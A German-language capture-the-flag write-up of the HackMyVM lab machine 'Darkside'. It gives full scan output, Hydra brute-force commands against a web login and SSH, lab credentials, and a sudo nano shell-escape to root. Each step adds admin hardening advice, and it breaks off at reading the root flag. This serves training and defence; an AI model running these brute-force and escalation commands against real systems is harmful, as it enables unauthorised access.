Darkside - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
cat
nmap
nikto
gobuster
dirb
wfuzz
awk
tr
hydra
CyberChef
ssh
ls
sudo
find
echo
mkdir
su
nano
sh
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Pentest startet mit einem `arp-scan -l`, um aktive Hosts im lokalen Netzwerk zu entdecken.

Bewertung: Das Zielsystem "Darkside" wird mit der IP `192.168.2.104` und der MAC `08:00:27:87:23:a3` (Oracle VirtualBox) identifiziert.

Empfehlung (Pentester): Ziel-IP `192.168.2.104` für die nächsten Scans verwenden.
Empfehlung (Admin): Netzwerküberwachung (z.B. `arpwatch`) und Segmentierung können solche Scans erschweren oder erkennen.

┌──(root㉿cyber)-[~/Hackingtools/jolokia-exploitation-toolkit] └─# arp-scan -l
192.168.2.104	08:00:27:87:23:a3	PCS Systemtechnik GmbH
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifer-Systems wird (vermutlich mit `vi` oder einem anderen Editor) bearbeitet, um der IP `192.168.2.104` den Hostnamen `darkside.hmv` zuzuweisen.

Bewertung: Erleichtert die Adressierung des Ziels in den folgenden Schritten.

Empfehlung (Pentester): Den Hostnamen `darkside.hmv` konsequent verwenden.
Empfehlung (Admin): Lokale Angreifer-Konfiguration, keine direkte Auswirkung auf das Ziel.

┌──(root㉿cyber)-[~] └─# cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	cyber

192.168.2.104   darkside.hmv
                    

Analyse: Ein Nmap-Scan (`-sS -sV -A -T5 -p-`) wird durchgeführt, um offene Ports und Dienste zu finden, gefolgt von einer gefilterten Ausgabe (`grep open`).

Bewertung: Es werden zwei offene Ports identifiziert: * **22/tcp (SSH):** OpenSSH 8.4p1 (Debian). * **80/tcp (HTTP):** Apache httpd 2.4.56 (Debian).

Empfehlung (Pentester): Die Angriffsfläche beschränkt sich auf SSH und den Webserver. Beide sollten genauer untersucht werden.
Empfehlung (Admin): Nur notwendige Ports offen lassen. Dienste aktuell halten.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.104 -p- | grep open
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
                    

Analyse: Derselbe Nmap-Scan wird erneut ausgeführt, diesmal mit vollständiger Ausgabe.

Bewertung: Bestätigt die offenen Ports und Versionen. Liefert zusätzliche Informationen: * SSH-Hostkeys. * HTTP-Titel "The DarkSide". * HTTP-Cookie `PHPSESSID` wird ohne das `HttpOnly`-Flag gesetzt. * OS-Erkennung deutet auf Linux (Kernel 4.x/5.x).

Empfehlung (Pentester): Das fehlende `HttpOnly`-Flag ist ein potenzieller Angriffsvektor für Cross-Site Scripting (XSS), um das Session-Cookie zu stehlen. Der Titel "The DarkSide" liefert thematischen Kontext. Konzentrieren Sie sich auf die Webanwendung.
Empfehlung (Admin): Setzen Sie das `HttpOnly`-Flag für alle Session-Cookies, um das Diebstahlrisiko durch XSS zu mindern. Halten Sie SSH und Apache aktuell.

┌──(root㉿cyber)-[~/Hackingtools/jolokia-exploitation-toolkit] └─# nmap -sS -sV -A -T5 192.168.2.104 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-18 00:42 CET
Nmap scan report for darkside (192.168.2.104)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
|   3072 e0:25:46:8e:b8:bb:ba:69:69:1b:a7:4d:28:34:04:dd (RSA)
|   256 60:12:04:69:5e:c4:a1:42:2d:2b:51:8a:57:fe:a8:8a (ECDSA)
|_  256 84:bb:60:b7:79:5d:09:9c:dd:24:23:a3:f2:65:89:3f (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: The DarkSide
MAC Address: 08:00:27:87:23:A3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms darkside (192.168.2.104)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.67 seconds
                    

Web Enumeration

Analyse: Der Webserver-Scanner `nikto` wird auf `darkside.hmv` ausgeführt.

Bewertung: Nikto bestätigt die Apache-Version, die fehlenden Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) und das fehlende `HttpOnly`-Flag beim `PHPSESSID`-Cookie. Ein wichtiger neuer Fund ist das Verzeichnis `/backup/`, für das Directory Indexing aktiviert ist.

Empfehlung (Pentester): Untersuchen Sie sofort den Inhalt des `/backup/`-Verzeichnisses. Das fehlende `HttpOnly`-Flag bleibt ein potenzieller Vektor.
Empfehlung (Admin): Fügen Sie die fehlenden Sicherheitsheader hinzu. Setzen Sie das `HttpOnly`-Flag für Cookies. Deaktivieren Sie Directory Indexing, insbesondere für Backup-Verzeichnisse. Sichern Sie Backup-Verzeichnisse angemessen.

┌──(root㉿cyber)-[~] └─# nikto -h darkside.hmv
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.104
+ Target Hostname:    darkside.hmv
+ Target Port:        80
+ Start Time:         2023-11-18 00:43:38 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /backup/: Directory indexing found.
+ /backup/: This might be interesting.
+ 7962 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-11-18 00:43:53 (GMT1) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf `http://darkside.hmv` verwendet, mit einer großen Wortliste (`directory-list-2.3-big.txt`).

Bewertung: Gobuster findet die Hauptseite `index.php` und bestätigt das `/backup/`-Verzeichnis.

Empfehlung (Pentester): Erkunden Sie das `/backup/`-Verzeichnis.
Empfehlung (Admin): Siehe vorherige Empfehlungen zu Backup-Verzeichnissen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://darkside.hmv" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" -b '403,404' -e --no-error -k
http://darkside.hmv/index.php            (Status: 200) [Size: 683]
http://darkside.hmv/backup               (Status: 301) [Size: 313] [--> http://darkside.hmv/backup/]
                     

Analyse: `dirb` wird zur Verzeichnissuche verwendet.

Bewertung: Bestätigt erneut das `/backup/`-Verzeichnis.

Empfehlung (Pentester): Erkunden Sie `/backup/`.
Empfehlung (Admin): Sichern Sie `/backup/` ab.

┌──(root㉿cyber)-[~] └─# dirb http://darkside.hmv
[...]
==> DIRECTORY: http://darkside.hmv/backup/
[...]
                     

Analyse: Manuelle Untersuchung des `/backup/`-Verzeichnisses findet eine Datei `vote.txt`.

Bewertung: Die Datei `vote.txt` enthält eine Liste von Benutzernamen mit Ja/Nein-Stimmen und den Hinweis "good luck kevin". Dies deutet darauf hin, dass `kevin` ein gültiger Benutzername ist.

Empfehlung (Pentester): Extrahieren Sie die Benutzernamen aus `vote.txt` für Brute-Force-Angriffe. Konzentrieren Sie sich zunächst auf den Benutzer `kevin`.
Empfehlung (Admin): Legen Sie niemals Benutzerlisten oder andere sensible Informationen in öffentlich zugänglichen Backup-Verzeichnissen ab.

# Manuelle Untersuchung von http://darkside.hmv/backup/
# Inhalt von http://darkside.hmv/backup/vote.txt :
rijaba: Yes
xerosec: Yes
sml: No
cromiphi: No
gatogamer: No
chema: Yes
talleyrand: No
d3b0o: Yes

Since the result was a draw, we will let you enter the darkside, or at least temporarily, good luck kevin.
                     

Analyse: `wfuzz` wird verwendet, um nach Parametern für `index.php` zu suchen (`FUZZ=id`), wobei Antworten mit Status 404 oder einer Charaktergröße von 683 ignoriert werden.

Bewertung: Der Scan findet keine gültigen Parameter (oder alle Antworten wurden herausgefiltert). Es scheint keine einfache Parameter-basierte Schwachstelle (wie LFI/RFI) auf der Startseite zu geben.

Empfehlung (Pentester): Untersuchen Sie die Login-Funktionalität der `index.php` oder andere potenzielle Schwachstellen der Webanwendung.
Empfehlung (Admin): Keine spezifische Aktion, da keine Schwachstelle gefunden wurde.

┌──(root㉿cyber)-[~] └─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://darkside.hmv/index.php?FUZZ=id --hc 404 --hh 683
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://darkside.hmv/index.php?FUZZ=id
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================


Total time: [Zeit]
Processed Requests: 220560
Filtered Requests: 220560
Requests/sec.: [Rate]
                      

Analyse: Aus der Datei `vote.txt` werden die Benutzernamen extrahiert (`awk '{print $1}' | tr -d ":"`) und in die Datei `user.txt` geschrieben. Es wird ein Hydra-Befehl notiert (aber nicht ausgeführt), um alle Benutzer aus `user.txt` gegen das Login-Formular der `index.php` zu testen.

Bewertung: Die Datei `user.txt` wird korrekt für weitere Angriffe vorbereitet. Der notierte Hydra-Befehl zeigt das korrekte Format für einen Web-Formular-Brute-Force-Angriff.

Empfehlung (Pentester): Führen Sie einen gezielten Hydra-Angriff auf den Benutzer `kevin` durch, da dieser im Hinweis erwähnt wurde.
Empfehlung (Admin): Implementieren Sie Schutzmechanismen gegen Brute-Force-Angriffe auf Login-Formulare (z.B. Captchas, Account Lockouts, Fail2ban).

┌──(root㉿cyber)-[~] └─# cat vote.txt | awk '{print $1}' | tr -d ":" > user.txt

                     
# Notierter Hydra-Befehl (nicht ausgeführt):
# hydra -L user.txt -P /usr/share/wordlists/rockyou.txt darkside.hmv http-post-form "/index.php:user=^USER^&pass=^PASS^:Username or password invalid"
                     

Initial Access

Analyse: Ein gezielter `hydra`-Angriff wird auf das Web-Login-Formular (`http-post-form`) der `index.php` für den Benutzer `kevin` gestartet, unter Verwendung der `rockyou.txt`-Wortliste.

Bewertung: Hydra ist erfolgreich und findet das Web-Login-Passwort `iloveyou` für den Benutzer `kevin`.

Empfehlung (Pentester): Melden Sie sich mit `kevin`:`iloveyou` auf der Webseite `http://darkside.hmv/index.php` an und untersuchen Sie den Bereich nach dem Login.
Empfehlung (Admin): Erzwingen Sie starke Passwörter. Implementieren Sie Brute-Force-Schutz.

┌──(root㉿cyber)-[~] └─# hydra -l kevin -P /usr/share/wordlists/rockyou.txt darkside.hmv http-post-form "/index.php:user=kevin&pass=^PASS^:Username or password invalid"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-18 01:18:51
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344480 login tries (l:1/p:14344480), ~896530 tries per task
[DATA] attacking http-post-form://darkside.hmv:80/index.php:user=kevin&pass=^PASS^:Username or password invalid
[80][http-post-form] host: darkside.hmv   login: kevin   password: iloveyou
1 of 1 target successfully completed, 1 valid password found
Hydra finished at [Zeit nicht gezeigt]
                      

Analyse: Nach dem Web-Login als `kevin` wird eine Seite mit dem Pfad `/betsvjpaodnmrczulwqi.onion/` angezeigt. Diese enthält einen Hinweis ("Remember to go to:") und einen Base58/Base64-kodierten String.

Bewertung: Dies ist ein weiterer Schritt im Rätsel. Der String muss dekodiert werden, um den nächsten Hinweis oder Pfad zu erhalten.

Empfehlung (Pentester): Verwenden Sie ein Tool wie CyberChef, um den String `kgr6F1pR4VLAZoFnvRSX1t4GAEqbbph6yYs3ZJw1tXjxZyWCC` zuerst mit Base58 und dann mit Base64 zu dekodieren.
Empfehlung (Admin): Vermeiden Sie Security through Obscurity. Versteckte Pfade und einfache Kodierungen bieten keine echte Sicherheit.

# Nach Web-Login als kevin:iloveyou wird folgende Seite angezeigt:
# http://darkside.hmv/betsvjpaodnmrczulwqi.onion/

Hello Kevin
Remember to go to:
kgr6F1pR4VLAZoFnvRSX1t4GAEqbbph6yYs3ZJw1tXjxZyWCC
                      

Analyse: Der Base58/Base64-String wird mit CyberChef dekodiert (Rezept: From Base58, dann From Base64). Das Ergebnis ist `sfqekmgncutjhbypvxda.onion`.

Bewertung: Dies ist der nächste Pfad auf dem Webserver, der besucht werden muss.

Empfehlung (Pentester): Rufen Sie die URL `http://darkside.hmv/sfqekmgncutjhbypvxda.onion/` auf.
Empfehlung (Admin): Siehe vorherige Empfehlung zu Security through Obscurity.

# Dekodierung mit CyberChef:
# https://gchq.github.io/CyberChef/#recipe=From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',false)From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=a2dyNkYxcFI0VkxBWm9GbnZSU1gxdDRHQUVxYmJwaDZ5WXMzWkp3MXRYanhaeVdDQw

# Ergebnis:
sfqekmgncutjhbypvxda.onion
                      

Analyse: Die Seite `http://darkside.hmv/sfqekmgncutjhbypvxda.onion/` wird aufgerufen. Sie enthält die Frage "Which Side Are You On?" und ein JavaScript-Snippet.

Bewertung: Das JavaScript prüft, ob ein Cookie namens `side` den Wert `darkside` hat. Wenn ja, leitet es zu einer Datei namens `hwvhysntovtanj.password` weiter. Anmerkung: Im JavaScript steht `sideCookie[2] = 'darkside'`, was eine Zuweisung ist. Höchstwahrscheinlich sollte es ein Vergleich `==` oder `===` sein.

Empfehlung (Pentester): Manipulieren Sie Ihre Browser-Cookies (z.B. mit Entwicklertools oder Burp Suite). Setzen Sie ein Cookie `side=darkside` für die Domain `darkside.hmv`. Laden Sie die Seite `/sfqekmgncutjhbypvxda.onion/` neu. Sie sollten dann zur Datei `hwvhysntovtanj.password` weitergeleitet werden.
Empfehlung (Admin): Führen Sie sicherheitsrelevante Prüfungen serverseitig durch, nicht nur clientseitig im JavaScript. Korrigieren Sie den Zuweisungsfehler im JavaScript.

# Besuch von http://darkside.hmv/sfqekmgncutjhbypvxda.onion/
# Angezeigter Text:
Which Side Are You On?

# Quellcode der Seite enthält:

                      

Analyse: Nachdem das Cookie `side=darkside` gesetzt wurde, wird die Seite neu geladen, was zur Weiterleitung und zum Abruf der Datei `hwvhysntovtanj.password` führt.

Bewertung: Die Datei enthält die Zugangsdaten `kevin:ILoveCalisthenics`. Dies sind höchstwahrscheinlich die SSH-Zugangsdaten für den Benutzer `kevin`.

Empfehlung (Pentester): Verwenden Sie diese Zugangsdaten, um sich per SSH als `kevin` anzumelden.
Empfehlung (Admin): Speichern Sie niemals Klartext-Zugangsdaten in öffentlich zugänglichen Webdateien.

# Cookie manipulation: Setze Cookie "side=darkside"
# Erneutes Laden von http://darkside.hmv/sfqekmgncutjhbypvxda.onion/
# Weiterleitung zu http://darkside.hmv/sfqekmgncutjhbypvxda.onion/hwvhysntovtanj.password

# Inhalt der Datei hwvhysntovtanj.password:
kevin:ILoveCalisthenics
                     

Analyse: Ein `hydra`-Angriff wird auf den SSH-Dienst (Port 22) für den Benutzer `kevin` gestartet, um das Passwort zu finden.

Bewertung: Hydra findet sehr schnell das Passwort `ILoveCalisthenics`, was die zuvor gefundene Information bestätigt. Dieser Schritt wäre nicht notwendig gewesen, dient aber als Verifizierung.

Empfehlung (Pentester): Der SSH-Zugang ist nun bestätigt. Fahren Sie mit dem SSH-Login fort.
Empfehlung (Admin): Erzwingen Sie starke SSH-Passwörter und implementieren Sie Brute-Force-Schutz (z.B. `fail2ban`).

┌──(root㉿cyber)-[~] └─# hydra -l kevin -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.104:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-18 01:25:05
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344481 login tries (l:1/p:14344481), ~224133 tries per task
[DATA] attacking ssh://192.168.2.104:22/
[22][ssh] host: 192.168.2.104   login: kevin   password: ILoveCalisthenics
1 of 1 target successfully completed, 1 valid password found
Hydra finished at [Zeit nicht gezeigt]
                      

Analyse: Mit den gefundenen Zugangsdaten (`kevin`:`ILoveCalisthenics`) wird eine SSH-Verbindung zum Zielsystem aufgebaut.

Bewertung: Der SSH-Login ist erfolgreich! Initial Access als Benutzer `kevin` wurde erreicht.

Empfehlung (Pentester): Beginnen Sie mit der Post-Exploitation-Enumeration als `kevin`. Suchen Sie nach Privilegieneskalationsvektoren (`sudo -l`, SUID, Cronjobs etc.) und lesen Sie die User-Flag.
Empfehlung (Admin): Ändern Sie das kompromittierte Passwort. Analysieren Sie den komplexen Weg, der zum Fund der SSH-Zugangsdaten führte (Web-Login -> Onion-Seiten -> Passwortdatei) und sichern Sie jeden Schritt ab.

┌──(root㉿cyber)-[~] └─# ssh kevin@darkside.hmv
The authenticity of host 'darkside.hmv (192.168.2.104)' can't be established.
ED25519 key fingerprint is SHA256:pmPw9d2/o54jN+Dmo29Hq6rIzWQ//VhyZvK4KN6rmk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'darkside.hmv' (ED25519) to the list of known hosts.
kevin@darkside.hmv's password:
Linux darkside 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Oct 15 15:18:15 2023 from 10.0.2.18
                     
kevin@darkside:~$

Privilege Escalation

Analyse: Nach dem Login als `kevin` wird der Inhalt des Home-Verzeichnisses aufgelistet und die Datei `user.txt` ausgelesen.

Bewertung: Die User-Flag wird gefunden und lautet `UnbelievableHumble`. Die Bash-History ist nach `/dev/null` gelinkt.

Empfehlung (Pentester): User-Flag gesichert. Fahren Sie mit der Suche nach Root-Privilegien fort.
Empfehlung (Admin): Sichern Sie die User-Flag mit restriktiven Berechtigungen. Das Umleiten der History erschwert die Forensik.

kevin@darkside:~$ ls -la
total 32
drwxr-xr-x 3 kevin kevin 4096 Oct 30 08:41 .
drwxr-xr-x 4 root  root  4096 Oct 15 13:19 ..
lrwxrwxrwx 1 kevin kevin    9 Oct 30 08:41 .bash_history -> /dev/null
-rw-r--r-- 1 kevin kevin  220 Oct 15 12:54 .bash_logout
-rw-r--r-- 1 kevin kevin 3526 Oct 15 12:54 .bashrc
-rw-r--r-- 1 kevin kevin  113 Oct 15 13:37 .history
drwxr-xr-x 3 kevin kevin 4096 Oct 15 13:37 .local
-rw-r--r-- 1 kevin kevin  807 Oct 15 12:54 .profile
-rw-r--r-- 1 kevin kevin   19 Oct 15 13:38 user.txt
                      
kevin@darkside:~$ cat user.txt
UnbelievableHumble

Analyse: Die sudo-Berechtigungen für `kevin` werden mit `sudo -l` geprüft.

Bewertung: Der Benutzer `kevin` darf keine Befehle mit `sudo` ausführen.

Empfehlung (Pentester): Sudo ist kein Vektor. Suchen Sie nach anderen Möglichkeiten.
Empfehlung (Admin): Korrekte Konfiguration nach dem Prinzip der geringsten Rechte.

kevin@darkside:~$ sudo -l
[sudo] password for kevin:
Sorry, user kevin may not run sudo on darkside.
                     

Analyse: Der Inhalt von `/home` wird aufgelistet. Eine Datei namens `.history` im Home-Verzeichnis von `kevin` wird ausgelesen.

Bewertung: Es existiert ein weiterer Benutzer `rijaba`. Die Datei `.history` enthält einen sehr wichtigen Hinweis: Der Befehl `su rijaba` wurde mit dem Passwort `ILoveJabita` erfolgreich ausgeführt.

Empfehlung (Pentester): Dies ist ein kritischer Fund! Verwenden Sie `su rijaba` und das Passwort `ILoveJabita`, um zum Benutzer `rijaba` zu wechseln. Dieser Benutzer hat möglicherweise höhere Privilegien.
Empfehlung (Admin): Achten Sie darauf, dass sensible Informationen wie Passwörter nicht in ungeschützten History-Dateien oder Skripten landen. Konfigurieren Sie die Shell so, dass Passwörter nicht in der History gespeichert werden.

kevin@darkside:~$ ls /home/
kevin  rijaba
kevin@darkside:~$ cat .history
ls -al
hostname -I
echo "Congratulations on the SCP Xerosec"
top
ps -faux
su rijaba
ILoveJabita
ls /home/rijaba
                     

Analyse: Suche nach SUID-Dateien im gesamten System.

Bewertung: Findet Standard-SUID-Binaries, einschließlich `/usr/bin/sudo`. Keine offensichtlich benutzerdefinierten SUID-Dateien.

Empfehlung (Pentester): SUID ist wahrscheinlich kein direkter Vektor, außer durch bekannte Schwachstellen in den Standard-Tools. Konzentrieren Sie sich auf den Wechsel zu `rijaba`.
Empfehlung (Admin): Minimieren Sie SUID-Berechtigungen.

kevin@darkside:~$ find / -type f -perm -4000 -ls 2>/dev/null
    31769    472 -rwsr-xr-x   1 root     root       481608 Sep 24 00:13 /usr/lib/openssh/ssh-keysign
    22684     52 -rwsr-xr--   1 root     messagebus    51336 Jun  6 16:07 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     4374     36 -rwsr-xr-x   1 root     root          35040 Jan 20  2022 /usr/bin/umount
     4372     56 -rwsr-xr-x   1 root     root          55528 Jan 20  2022 /usr/bin/mount
      389     52 -rwsr-xr-x   1 root     root          52880 Feb  7  2020 /usr/bin/chsh
     3805     44 -rwsr-xr-x   1 root     root          44632 Feb  7  2020 /usr/bin/newgrp
      392     64 -rwsr-xr-x   1 root     root          63960 Feb  7  2020 /usr/bin/passwd
      391     88 -rwsr-xr-x   1 root     root          88304 Feb  7  2020 /usr/bin/gpasswd
      388     60 -rwsr-xr-x   1 root     root          58416 Feb  7  2020 /usr/bin/chfn
     3972     72 -rwsr-xr-x   1 root     root          71912 Jan 20  2022 /usr/bin/su
    63182    180 -rwsr-xr-x   1 root     root         182600 Jan 14  2023 /usr/bin/sudo
                     

Analyse: Überprüfung der Berechtigungen von `/etc/passwd` und Versuch, die Datei als `kevin` zu beschreiben.

Bewertung: Die Datei ist lesbar, aber nicht schreibbar für `kevin`.

Empfehlung (Pentester): Keine direkte Eskalation möglich.
Empfehlung (Admin): Korrekte Berechtigungen.

kevin@darkside:~$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1525 Oct 15 13:20 /etc/passwd
kevin@darkside:~$ echo benni >>/etc/passwd
-bash: /etc/passwd: Permission denied

Analyse: Untersuchung des Home-Verzeichnisses von `rijaba` und Anzeige der `/etc/crontab`.

Bewertung: Das Home-Verzeichnis von `rijaba` enthält keine auffälligen Dateien. Die `/etc/crontab` enthält nur Standard-Systemeinträge für stündliche, tägliche, wöchentliche und monatliche Cronjobs, die über `run-parts` ausgeführt werden.

Empfehlung (Pentester): Die Standard-Cronjobs bieten selten einen direkten Eskalationspfad, es sei denn, die Skripte in `/etc/cron.*` sind schlecht konfiguriert oder Verzeichnisse darin schreibbar. Konzentrieren Sie sich auf den Wechsel zu `rijaba`.
Empfehlung (Admin): Überprüfen Sie regelmäßig benutzerdefinierte Cronjobs auf Sicherheitsrisiken.

kevin@darkside:~$ cd /home/rijaba/
kevin@darkside:/home/rijaba$ ls -la
total 20
drwxr-xr-x 2 rijaba rijaba 4096 Oct 30 08:41 .
drwxr-xr-x 4 root   root   4096 Oct 15 13:19 ..
lrwxrwxrwx 1 rijaba rijaba    9 Oct 30 08:41 .bash_history -> /dev/null
-rw-r--r-- 1 rijaba rijaba  220 Oct 15 13:19 .bash_logout
-rw-r--r-- 1 rijaba rijaba 3526 Oct 15 13:19 .bashrc
-rw-r--r-- 1 rijaba rijaba  807 Oct 15 13:19 .profile
                     
kevin@darkside:/home/rijaba$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
                      

Analyse: Versuch, ein `.ssh`-Verzeichnis für `rijaba` zu erstellen.

Bewertung: Schlägt fehl, da `kevin` keine Schreibrechte im Home-Verzeichnis von `rijaba` hat.

Empfehlung (Pentester): Keine direkte Möglichkeit, SSH-Keys zu platzieren.
Empfehlung (Admin): Korrekte Berechtigungen.

kevin@darkside:/tmp$ mkdir -p /home/rijaba/.ssh
mkdir: cannot create directory ‘/home/rijaba/.ssh’: Permission denied

Analyse: Die Überschrift "Privilege Escalation" leitet den entscheidenden Teil ein.

Bewertung: Fokus auf den nächsten Schritt.

Empfehlung (Pentester): Wechsel zu `rijaba`.
Empfehlung (Admin): Keine Aktion.

                                                          Privilege Escalation
                     

Analyse: Der Befehl `su rijaba` wird ausgeführt und das aus der `.history`-Datei bekannte Passwort `ILoveJabita` eingegeben.

Bewertung: Der Benutzerwechsel ist erfolgreich! Wir agieren nun als Benutzer `rijaba`.

Empfehlung (Pentester): Überprüfen Sie sofort die `sudo`-Rechte für `rijaba`.
Empfehlung (Admin): Ändern Sie das kompromittierte Passwort von `rijaba`. Überprüfen Sie, wie das Passwort in die History-Datei gelangen konnte.

kevin@darkside:/tmp$ su rijaba
Password: 
rijaba@darkside:/tmp$

Analyse: Als `rijaba` werden die `sudo`-Rechte mit `sudo -l` überprüft.

Bewertung: Kritischer Fund! Der Benutzer `rijaba` darf `/usr/bin/nano` als `root` ohne Passwort ausführen (`root:nopassword /usr/bin/nano`).

Empfehlung (Pentester): Dies ist ein direkter Weg zur Root-Eskalation. Verwenden Sie die GTFOBins-Technik für `nano` mit `sudo`: Starten Sie `sudo nano`, drücken Sie `Strg+R`, dann `Strg+X`, geben Sie `reset; sh 1>&0 2>&0` ein und drücken Sie Enter, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Entfernen Sie diese unsichere `sudo`-Regel sofort! Erlauben Sie `sudo` nur für spezifische, sichere Befehle und vermeiden Sie Editoren oder Programme, die Shell-Escapes ermöglichen.

rijaba@darkside:/tmp$ sudo -l
Matching Defaults entries for rijaba on darkside:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rijaba may run the following commands on darkside:
    (root) NOPASSWD: /usr/bin/nano
                     

Analyse: Die GTFOBins-Seite für `nano` wird referenziert, die genau die Technik beschreibt, um über `sudo nano` eine Shell zu erhalten.

Bewertung: Bestätigt den nächsten Schritt zur Ausnutzung.

Empfehlung (Pentester): Führen Sie die beschriebene Tastenkombination und den Befehl aus.
Empfehlung (Admin): GTFOBins ist eine wichtige Ressource, um unsichere sudo-Regeln zu identifizieren.

# Recherche auf GTFOBins
https://gtfobins.github.io/gtfobins/nano/#sudo

 Sudo

If the binary is allowed to run as superuser by sudo, it does
not drop the elevated privileges and may be used to access the
file system, escalate or maintain privileged access.

    sudo nano
    ^R^X
    reset; sh 1>&0 2>&0
                     

Analyse: Die GTFOBins-Technik wird angewendet: `sudo nano` wird gestartet, dann `Strg+R`, `Strg+X`, der Befehl `reset; sh 1>&0 2>&0` eingegeben und ausgeführt.

Bewertung: Die Ausführung ist erfolgreich! Der `id`-Befehl in der resultierenden Shell zeigt `uid=0(root)`. Eine Root-Shell wurde erlangt.

Empfehlung (Pentester): Fantastisch, Root-Zugriff erreicht! Suchen und lesen Sie die Root-Flag.
Empfehlung (Admin): Entfernen Sie die `sudo nano`-Regel.

                                       [ Executing... ]
                      
# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: In der Root-Shell wird ins Root-Home-Verzeichnis gewechselt, der Inhalt aufgelistet und die Datei `root.txt` ausgelesen.

